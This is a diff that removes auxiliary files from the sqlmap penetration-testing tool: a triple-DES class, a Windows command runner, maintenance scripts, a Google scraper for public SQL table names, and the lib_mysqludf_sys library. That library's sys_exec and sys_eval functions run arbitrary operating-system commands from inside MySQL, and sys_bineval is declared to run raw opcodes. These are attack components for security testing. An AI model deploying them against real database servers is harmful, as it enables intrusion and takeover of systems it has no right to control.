-			key.setPadMode(mode)
-
-	def setIV(self, IV):
-		"""Will set the Initial Value, used in conjunction with CBC mode"""
-		_baseDes.setIV(self, IV)
-		for key in (self.__key1, self.__key2, self.__key3):
-			key.setIV(IV)
-
-	def encrypt(self, data, pad=None, padmode=None):
-		"""encrypt(data, [pad], [padmode]) -> bytes
-
-		data : bytes to be encrypted
-		pad  : Optional argument for encryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be encrypted
-		with the already specified key. Data does not have to be a
-		multiple of 8 bytes if the padding character is supplied, or
-		the padmode is set to PAD_PKCS5, as bytes will then added to
-		ensure the be padded data is a multiple of 8 bytes.
-		"""
-		ENCRYPT = des.ENCRYPT
-		DECRYPT = des.DECRYPT
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		# Pad the data accordingly.
-		data = self._padData(data, pad, padmode)
-		if self.getMode() == CBC:
-			self.__key1.setIV(self.getIV())
-			self.__key2.setIV(self.getIV())
-			self.__key3.setIV(self.getIV())
-			i = 0
-			result = []
-			while i < len(data):
-				block = self.__key1.crypt(data[i:i+8], ENCRYPT)
-				block = self.__key2.crypt(block, DECRYPT)
-				block = self.__key3.crypt(block, ENCRYPT)
-				self.__key1.setIV(block)
-				self.__key2.setIV(block)
-				self.__key3.setIV(block)
-				result.append(block)
-				i += 8
-			if _pythonMajorVersion < 3:
-				return ''.join(result)
-			else:
-				return bytes.fromhex('').join(result)
-		else:
-			data = self.__key1.crypt(data, ENCRYPT)
-			data = self.__key2.crypt(data, DECRYPT)
-			return self.__key3.crypt(data, ENCRYPT)
-
-	def decrypt(self, data, pad=None, padmode=None):
-		"""decrypt(data, [pad], [padmode]) -> bytes
-
-		data : bytes to be encrypted
-		pad  : Optional argument for decryption padding. Must only be one byte
-		padmode : Optional argument for overriding the padding mode.
-
-		The data must be a multiple of 8 bytes and will be decrypted
-		with the already specified key. In PAD_NORMAL mode, if the
-		optional padding character is supplied, then the un-encrypted
-		data will have the padding characters removed from the end of
-		the bytes. This pad removal only occurs on the last 8 bytes of
-		the data (last data block). In PAD_PKCS5 mode, the special
-		padding end markers will be removed from the data after
-		decrypting, no pad character is required for PAD_PKCS5.
-		"""
-		ENCRYPT = des.ENCRYPT
-		DECRYPT = des.DECRYPT
-		data = self._guardAgainstUnicode(data)
-		if pad is not None:
-			pad = self._guardAgainstUnicode(pad)
-		if self.getMode() == CBC:
-			self.__key1.setIV(self.getIV())
-			self.__key2.setIV(self.getIV())
-			self.__key3.setIV(self.getIV())
-			i = 0
-			result = []
-			while i < len(data):
-				iv = data[i:i+8]
-				block = self.__key3.crypt(iv,    DECRYPT)
-				block = self.__key2.crypt(block, ENCRYPT)
-				block = self.__key1.crypt(block, DECRYPT)
-				self.__key1.setIV(iv)
-				self.__key2.setIV(iv)
-				self.__key3.setIV(iv)
-				result.append(block)
-				i += 8
-			if _pythonMajorVersion < 3:
-				data = ''.join(result)
-			else:
-				data = bytes.fromhex('').join(result)
-		else:
-			data = self.__key3.crypt(data, DECRYPT)
-			data = self.__key2.crypt(data, ENCRYPT)
-			data = self.__key1.crypt(data, DECRYPT)
-		return self._unpadData(data, pad, padmode)

extra/runcmd/README.txt

@@ -1,7 +0,0 @@
-Files in this folder can be used to compile auxiliary program that can
-be used for running command prompt commands skipping standard "cmd /c" way. 
-They are licensed under the terms of the GNU Lesser General Public License 
-and it's compiled version is available on the official sqlmap subversion
-repository[1].
-
-[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/shell/runcmd.exe_

extra/runcmd/windows/README.txt

@@ -1,4 +0,0 @@
-Compile only the Release version because the Runtime library option
-(Project Properties -> Configuration Properties -> C/C++ -> Code
-Generation) is set to "Multi-threaded (/MT)", which statically links
-everything into executable and doesn't compile Debug version at all.

extra/runcmd/windows/runcmd.sln

@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-EndProject
-Global
-	GlobalSection(SolutionConfigurationPlatforms) = preSolution
-		Debug|Win32 = Debug|Win32
-		Release|Win32 = Release|Win32
-	EndGlobalSection
-	GlobalSection(ProjectConfigurationPlatforms) = postSolution
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32
-		{1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32
-	EndGlobalSection
-	GlobalSection(SolutionProperties) = preSolution
-		HideSolutionNode = FALSE
-	EndGlobalSection
-EndGlobal

extra/runcmd/windows/runcmd/runcmd.cpp

@@ -1,46 +0,0 @@
-/* 
-	runcmd - a program for running command prompt commands
-	Copyright (C) 2010 Miroslav Stampar
-	email: [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#include <stdio.h>
-#include <windows.h>
-#include <use_ansi.h>
-#include "stdafx.h"
-#include <string>
-
-using namespace std;
-int main(int argc, char* argv[])
-{
-  FILE *fp;
-  string cmd;
-
-  for( int count = 1; count < argc; count++ )
-	cmd += " " + string(argv[count]);
-
-  fp = _popen(cmd.c_str(), "r");
-
-  if (fp != NULL) {
-    char buffer[BUFSIZ];
-
-    while (fgets(buffer, sizeof buffer, fp) != NULL)
-      fputs(buffer, stdout);
-  }
-
-  return 0;
-}

extra/runcmd/windows/runcmd/runcmd.vcproj

@@ -1,225 +0,0 @@
-<?xml version="1.0" encoding="windows-1250"?>
-<VisualStudioProject
-	ProjectType="Visual C++"
-	Version="8,00"
-	Name="runcmd"
-	ProjectGUID="{1C6185A9-871A-4F6E-9B2D-BE4399479784}"
-	RootNamespace="runcmd"
-	Keyword="Win32Proj"
-	>
-	<Platforms>
-		<Platform
-			Name="Win32"
-		/>
-	</Platforms>
-	<ToolFiles>
-	</ToolFiles>
-	<Configurations>
-		<Configuration
-			Name="Debug|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				Optimization="0"
-				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE"
-				MinimalRebuild="true"
-				BasicRuntimeChecks="3"
-				RuntimeLibrary="0"
-				UsePrecompiledHeader="2"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="4"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="2"
-				GenerateDebugInformation="true"
-				SubSystem="1"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCWebDeploymentTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-		<Configuration
-			Name="Release|Win32"
-			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
-			IntermediateDirectory="$(ConfigurationName)"
-			ConfigurationType="1"
-			CharacterSet="1"
-			WholeProgramOptimization="1"
-			>
-			<Tool
-				Name="VCPreBuildEventTool"
-			/>
-			<Tool
-				Name="VCCustomBuildTool"
-			/>
-			<Tool
-				Name="VCXMLDataGeneratorTool"
-			/>
-			<Tool
-				Name="VCWebServiceProxyGeneratorTool"
-			/>
-			<Tool
-				Name="VCMIDLTool"
-			/>
-			<Tool
-				Name="VCCLCompilerTool"
-				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
-				RuntimeLibrary="0"
-				UsePrecompiledHeader="2"
-				WarningLevel="3"
-				Detect64BitPortabilityProblems="true"
-				DebugInformationFormat="3"
-			/>
-			<Tool
-				Name="VCManagedResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCResourceCompilerTool"
-			/>
-			<Tool
-				Name="VCPreLinkEventTool"
-			/>
-			<Tool
-				Name="VCLinkerTool"
-				LinkIncremental="1"
-				GenerateDebugInformation="true"
-				SubSystem="1"
-				OptimizeReferences="2"
-				EnableCOMDATFolding="2"
-				TargetMachine="1"
-			/>
-			<Tool
-				Name="VCALinkTool"
-			/>
-			<Tool
-				Name="VCManifestTool"
-			/>
-			<Tool
-				Name="VCXDCMakeTool"
-			/>
-			<Tool
-				Name="VCBscMakeTool"
-			/>
-			<Tool
-				Name="VCFxCopTool"
-			/>
-			<Tool
-				Name="VCAppVerifierTool"
-			/>
-			<Tool
-				Name="VCWebDeploymentTool"
-			/>
-			<Tool
-				Name="VCPostBuildEventTool"
-			/>
-		</Configuration>
-	</Configurations>
-	<References>
-	</References>
-	<Files>
-		<Filter
-			Name="Source Files"
-			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
-			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
-			>
-			<File
-				RelativePath=".\runcmd.cpp"
-				>
-			</File>
-			<File
-				RelativePath=".\stdafx.cpp"
-				>
-				<FileConfiguration
-					Name="Debug|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						UsePrecompiledHeader="1"
-					/>
-				</FileConfiguration>
-				<FileConfiguration
-					Name="Release|Win32"
-					>
-					<Tool
-						Name="VCCLCompilerTool"
-						UsePrecompiledHeader="1"
-					/>
-				</FileConfiguration>
-			</File>
-		</Filter>
-		<Filter
-			Name="Header Files"
-			Filter="h;hpp;hxx;hm;inl;inc;xsd"
-			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
-			>
-			<File
-				RelativePath=".\stdafx.h"
-				>
-			</File>
-		</Filter>
-		<Filter
-			Name="Resource Files"
-			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
-			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
-			>
-		</Filter>
-		<File
-			RelativePath=".\ReadMe.txt"
-			>
-		</File>
-	</Files>
-	<Globals>
-	</Globals>
-</VisualStudioProject>

extra/runcmd/windows/runcmd/stdafx.cpp

@@ -1,8 +0,0 @@
-// stdafx.cpp : source file that includes just the standard includes
-// runcmd.pch will be the pre-compiled header
-// stdafx.obj will contain the pre-compiled type information
-
-#include "stdafx.h"
-
-// TODO: reference any additional headers you need in STDAFX.H
-// and not in this file

extra/runcmd/windows/runcmd/stdafx.h

@@ -1,17 +0,0 @@
-// stdafx.h : include file for standard system include files,
-// or project specific include files that are used frequently, but
-// are changed infrequently
-//
-
-#pragma once
-
-#ifndef _WIN32_WINNT		// Allow use of features specific to Windows XP or later.                   
-#define _WIN32_WINNT 0x0501	// Change this to the appropriate value to target other versions of Windows.
-#endif						
-
-#include <stdio.h>
-#include <tchar.h>
-
-
-
-// TODO: reference additional headers your program requires here

extra/shutils/blanks.sh

@@ -1,9 +0,0 @@
-#!/bin/bash
-
-# $Id$
-
-# Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-# See the file 'doc/COPYING' for copying permission
-
-# Removes trailing spaces from blank lines inside project files
-find ../../. -type f -iname '*.py' -exec sed -i 's/^[ \t]*$//' {} \;

extra/shutils/duplicates.py

@@ -1,37 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-# Removes duplicate entries in wordlist like files
-
-import sys
-
-if len(sys.argv) > 0:
-
-    items = list()
-    f = open(sys.argv[1], 'r')
-
-    for item in f.readlines():
-        item = item.strip()
-        try:
-            str.encode(item)
-            if item in items:
-                if item:
-                    print item
-            else:
-                items.append(item)
-
-            if not item:
-                items.append('')
-        except:
-            pass
-    f.close()
-
-    f = open(sys.argv[1], 'w+')
-    f.writelines("\n".join(items))
-    f.close()

extra/shutils/id.sh

@@ -1,9 +0,0 @@
-#!/bin/bash
-
-# $Id$
-
-# Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-# See the file 'doc/COPYING' for copying permission
-
-# Adds SVN property 'Id' to project files
-find ../../. -type f -name "*.py" -exec svn propset svn:keywords "Id" '{}' \;

extra/shutils/pylint.py

@@ -1,48 +0,0 @@
-#! /usr/bin/env python
-
-# Runs pylint on all python scripts found in a directory tree
-# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html
-
-import os
-import re
-import sys
-
-total = 0.0
-count = 0
-
-__RATING__ = False
-
-def check(module):
-    global total, count
-
-    if module[-3:] == ".py":
-
-        print "CHECKING ", module
-        pout = os.popen('pylint --rcfile=/dev/null %s'% module, 'r')
-        for line in pout:
-            if  re.match("E....:.", line):
-                print line
-            if __RATING__ and "Your code has been rated at" in line:
-               print line
-               score = re.findall("\d.\d\d", line)[0]
-               total += float(score)
-               count += 1
-
-if __name__ == "__main__":
-    try:
-        print sys.argv
-        BASE_DIRECTORY = sys.argv[1]
-    except IndexError:
-        print "no directory specified, defaulting to current working directory"
-        BASE_DIRECTORY = os.getcwd()
-
-    print "looking for *.py scripts in subdirectories of ", BASE_DIRECTORY
-    for root, dirs, files in os.walk(BASE_DIRECTORY):
-        for name in files:
-            filepath = os.path.join(root, name)
-            check(filepath)
-
-    if __RATING__:
-        print "==" * 50
-        print "%d modules found"% count
-        print "AVERAGE SCORE = %.02f"% (total / count)

extra/sqlharvest/__init__.py

@@ -1,10 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-pass

extra/sqlharvest/sqlharvest.py

@@ -1,151 +0,0 @@
-#!/usr/bin/env python
-
-"""
-$Id$
-
-Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
-See the file 'doc/COPYING' for copying permission
-"""
-
-import cookielib
-import re
-import socket
-import sys
-import urllib
-import urllib2
-import ConfigParser
-
-from operator import itemgetter
-
-def main():
-
-    TIMEOUT         = 10
-    CONFIG_FILE     = 'sqlharvest.cfg'
-    TABLES_FILE     = 'tables.txt'
-    USER_AGENT      = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; AskTB5.3)'
-    SEARCH_URL      = 'http://www.google.com/m?source=mobileproducts&dc=gorganic'
-    MAX_FILE_SIZE   = 2*1024*1024 # if a result (.sql) file for downloading is more than 2MB in size just skip it
-    QUERY           = 'CREATE TABLE ext:sql'
-    REGEX_URLS      = r';u=([^"]+)'
-    REGEX_RESULT    = r'CREATE TABLE\s*(/\*.*\*/)?\s*(IF NOT EXISTS)?\s*(?P<result>[^\(;]+)'
-
-    tables = dict()
-    refiles = re.compile(REGEX_URLS)
-    retables = re.compile(REGEX_RESULT, re.I)
-
-    cookies = cookielib.CookieJar()
-    cookie_processor = urllib2.HTTPCookieProcessor(cookies)
-    opener = urllib2.build_opener(cookie_processor)
-    opener.addheaders = [('User-Agent', USER_AGENT)]
-
-    conn = opener.open(SEARCH_URL)
-    page = conn.read() #set initial cookie values
-
-    config = ConfigParser.ConfigParser()
-    config.read(CONFIG_FILE)
-    if not config.has_section('options'):
-        config.add_section('options')
-
-    if not config.has_option('options',  'index'):
-        config.set('options',  'index', '0')
-
-    i = int(config.get('options',  'index'))
-
-    try:
-        f = open(TABLES_FILE, 'r')
-        for line in f.xreadlines():
-            if len(line) > 0 and ',' in line:
-                temp = line.split(',')
-                tables[temp[0]] = int(temp[1])
-        f.close()
-    except:
-        pass
-
-    socket.setdefaulttimeout(TIMEOUT)
-
-    files, oldFiles = None, None
-    try:
-        while True:
-            abort = False
-            oldFiles = files
-            files = []
-
-            try:
-                conn = opener.open('%s&q=%s&start=%d&sa=N' % (SEARCH_URL, QUERY.replace(' ', '+'), i*10))
-                page = conn.read()
-                for match in refiles.finditer(page):
-                    files.append(urllib.unquote(match.group(1)))
-                    if len(files) >= 10: break
-                abort = (files == oldFiles)
-
-            except KeyboardInterrupt:
-                raise
-
-            except Exception, msg:
-                print msg
-
-            if abort:
-                break
-
-            sys.stdout.write("\n---------------\n")
-            sys.stdout.write("Result page #%d\n" % (i+1))
-            sys.stdout.write("---------------\n")
-
-            for sqlfile in files:
-                print sqlfile
-                try:
-                    req = urllib2.Request(sqlfile)
-                    response = urllib2.urlopen(req)
-
-                    if response.headers.has_key('Content-Length'):
-                        if int(response.headers.get('Content-Length')) > MAX_FILE_SIZE:
-                            continue
-
-                    page = response.read()
-                    found = False
-                    counter = 0
-
-                    for match in retables.finditer(page):
-                        counter += 1
-                        table = match.group("result").strip().strip("`").strip("\"").strip("'").replace('"."', ".").replace("].[", ".").strip('[').strip(']')
-
-                        if table and '>' not in table and '<' not in table and '--' not in table and ' ' not in table:
-                            found = True
-                            sys.stdout.write('*')
-
-                            if table in tables:
-                                tables[table] += 1
-                            else:
-                                tables[table] = 1
-                    if found:
-                        sys.stdout.write("\n")
-
-                except KeyboardInterrupt:
-                    raise
-
-                except Exception, msg:
-                    print msg
-
-            else:
-                i += 1
-
-    except KeyboardInterrupt:
-        pass
-
-    finally:
-        f = open(TABLES_FILE, 'w+')
-
-        tables = sorted(tables.items(), key=itemgetter(1), reverse=True)
-
-        for table, count in tables:
-            f.write("%s,%d\n" % (table, count))
-
-        f.close()
-        config.set('options',  'index', str(i+1))
-
-        f = open(CONFIG_FILE, 'w+')
-        config.write(f)
-        f.close()
-
-if __name__ == "__main__":
-    main()

extra/udfhack/README.txt

@@ -1,7 +0,0 @@
-Files in this folder can be used to compile shared objects that define
-some user-defined functions for MySQL and PostgreSQL. They are licensed
-under the terms of the GNU Lesser General Public License and their
-compiled versions are available on the official sqlmap subversion
-repository[1].
-
-[1] https://svn.sqlmap.org/sqlmap/trunk/sqlmap/udf/

extra/udfhack/linux/32/lib_mysqludf_sys/Makefile

@@ -1,9 +0,0 @@
-# For MySQL < 5.1
-LIBDIR=/usr/lib
-# For MySQL >= 5.1
-#LIBDIR=/usr/lib/mysql/plugin
-
-install:
-	gcc-4.3 -Wall -I/usr/include/mysql -Os -shared lib_mysqludf_sys.c -o lib_mysqludf_sys.so
-	strip -sx lib_mysqludf_sys.so
-	cp -f lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

extra/udfhack/linux/32/lib_mysqludf_sys/install.sh

@@ -1,47 +0,0 @@
-#!/bin/bash
-# lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-# Copyright (C) 2007  Roland Bouman 
-# Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-# web: http://www.mysqludf.org/
-# email: [email protected], [email protected]
-# 
-# This library is free software; you can redistribute it and/or
-# modify it under the terms of the GNU Lesser General Public
-# License as published by the Free Software Foundation; either
-# version 2.1 of the License, or (at your option) any later version.
-# 
-# This library is distributed in the hope that it will be useful,
-# but WITHOUT ANY WARRANTY; without even the implied warranty of
-# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-# Lesser General Public License for more details.
-# 
-# You should have received a copy of the GNU Lesser General Public
-# License along with this library; if not, write to the Free Software
-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-
-# Adapt the following settings to your environment
-USER="root"
-PORT="3306"
-
-echo "Compiling the MySQL UDF"
-make
-
-if test $? -ne 0; then
-	echo "ERROR: You need libmysqlclient development software installed"
-	echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
-	echo "apt-get install libmysqlclient-dev"
-	exit 1
-else
-	echo "MySQL UDF compiled successfully"
-fi
-
-echo -e "\nPlease provide your MySQL root password"
-
-mysql -h 127.0.0.1 -P ${PORT} -u ${USER} -p mysql < lib_mysqludf_sys.sql
-
-if test $? -ne 0; then
-	echo "ERROR: unable to install the UDF"
-	exit 1
-else
-	echo "MySQL UDF installed successfully"
-fi

extra/udfhack/linux/32/lib_mysqludf_sys/lib_mysqludf_sys.c

@@ -1,567 +0,0 @@
-/* 
-	lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
-	Copyright (C) 2007  Roland Bouman 
-	Copyright (C) 2008-2010  Roland Bouman and Bernardo Damele A. G.
-	web: http://www.mysqludf.org/
-	email: [email protected], [email protected]
-	
-	This library is free software; you can redistribute it and/or
-	modify it under the terms of the GNU Lesser General Public
-	License as published by the Free Software Foundation; either
-	version 2.1 of the License, or (at your option) any later version.
-	
-	This library is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-	Lesser General Public License for more details.
-	
-	You should have received a copy of the GNU Lesser General Public
-	License along with this library; if not, write to the Free Software
-	Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
-*/
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-#define DLLEXP __declspec(dllexport) 
-#else
-#define DLLEXP
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-#endif
-
-#ifdef STANDARD
-#include <string.h>
-#include <stdlib.h>
-#include <time.h>
-#ifdef __WIN__
-typedef unsigned __int64 ulonglong;
-typedef __int64 longlong;
-#else
-typedef unsigned long long ulonglong;
-typedef long long longlong;
-#endif /*__WIN__*/
-#else
-#include <my_global.h>
-#include <my_sys.h>
-#endif
-#include <mysql.h>
-#include <m_ctype.h>
-#include <m_string.h>
-#include <stdlib.h>
-
-#include <ctype.h>
-
-#ifdef HAVE_DLOPEN
-#ifdef	__cplusplus
-extern "C" {
-#endif
-
-#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
-
-#ifdef __WIN__
-#define SETENV(name,value)		SetEnvironmentVariable(name,value);
-#else
-#define SETENV(name,value)		setenv(name,value,1);		
-#endif
-
-DLLEXP 
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_get
- * 
- * Gets the value of the specified environment variable.
- */
-DLLEXP 
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_get_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_set
- * 
- * Sets the value of the environment variables.
- * This function accepts a set of name/value pairs
- * which are then set as environment variables.
- * Use sys_get to retrieve the value of such a variable 
- */
-DLLEXP 
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_set_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_exec
- * 
- * executes the argument commandstring and returns its exit status.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_exec_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_eval
- * 
- * executes the argument commandstring and returns its standard output.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-);
-
-DLLEXP 
-void sys_eval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-char* sys_eval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-);
-
-/**
- * sys_bineval
- * 
- * executes bynary opcodes.
- * Beware that this can be a security hazard.
- */
-DLLEXP 
-my_bool sys_bineval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-DLLEXP 
-void sys_bineval_deinit(
-	UDF_INIT *initid
-);
-
-DLLEXP 
-int sys_bineval(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-);
-
-#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
-DWORD WINAPI exec_payload(LPVOID lpParameter);
-#endif
-
-
-#ifdef	__cplusplus
-}
-#endif
-
-/**
- * lib_mysqludf_sys_info
- */
-my_bool lib_mysqludf_sys_info_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	my_bool status;
-	if(args->arg_count!=0){
-		strcpy(
-			message
-		,	"No arguments allowed (udf: lib_mysqludf_sys_info)"
-		);
-		status = 1;
-	} else {
-		status = 0;
-	}
-	return status;
-}
-
-void lib_mysqludf_sys_info_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* lib_mysqludf_sys_info(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	strcpy(result,LIBVERSION);
-	*length = strlen(LIBVERSION);
-	return result;
-}
-
-my_bool sys_get_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count==1
-	&&	args->arg_type[0]==STRING_RESULT){
-		initid->maybe_null = 1;
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_get_deinit(
-	UDF_INIT *initid
-){
-}
-
-char* sys_get(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char* result
-,	unsigned long* length
-,	char *is_null
-,	char *error
-){
-	char* value = getenv(args->args[0]);
-	if(value == NULL){
-		*is_null = 1;
-	} else {
-		*length = strlen(value);
-	} 
-	return value;
-}
-
-my_bool sys_set_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	if(args->arg_count!=2){
-		strcpy(
-			message
-		,	"Expected exactly two arguments"
-		);		
-		return 1;
-	}
-	if(args->arg_type[0]!=STRING_RESULT){
-		strcpy(
-			message
-		,	"Expected string type for name parameter"
-		);		
-		return 1;
-	}
-	args->arg_type[1]=STRING_RESULT;
-	if((initid->ptr=malloc(
-		args->lengths[0]
-	+	1
-	+	args->lengths[1]
-	+	1
-	))==NULL){
-		strcpy(
-			message
-		,	"Could not allocate memory"
-		);		
-		return 1;
-	}	
-	return 0;
-}
-
-void sys_set_deinit(
-	UDF_INIT *initid
-){
-	if (initid->ptr!=NULL){
-		free(initid->ptr);
-	}
-}
-
-long long sys_set(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){	
-	char *name = initid->ptr;
-	char *value = name + args->lengths[0] + 1; 
-	memcpy(
-		name
-	,	args->args[0]
-	,	args->lengths[0]
-	);
-	*(name + args->lengths[0]) = '\0';
-	memcpy(
-		value
-	,	args->args[1]
-	,	args->lengths[1]
-	);
-	*(value + args->lengths[1]) = '\0';
-	return SETENV(name,value);		
-}
-
-my_bool sys_exec_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
-void sys_exec_deinit(
-	UDF_INIT *initid
-){
-}
-
-my_ulonglong sys_exec(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *is_null
-,	char *error
-){
-	return system(args->args[0]);
-}
-
-my_bool sys_eval_init(
-	UDF_INIT *initid
-,	UDF_ARGS *args
-,	char *message
-){
-	unsigned int i=0;
-	if(args->arg_count == 1
-	&& args->arg_type[i]==STRING_RESULT){
-		return 0;
-	} else {
-		strcpy(
-			message
-		,	"Expected exactly one string type parameter"
-		);		
-		return 1;
-	}
-}
-
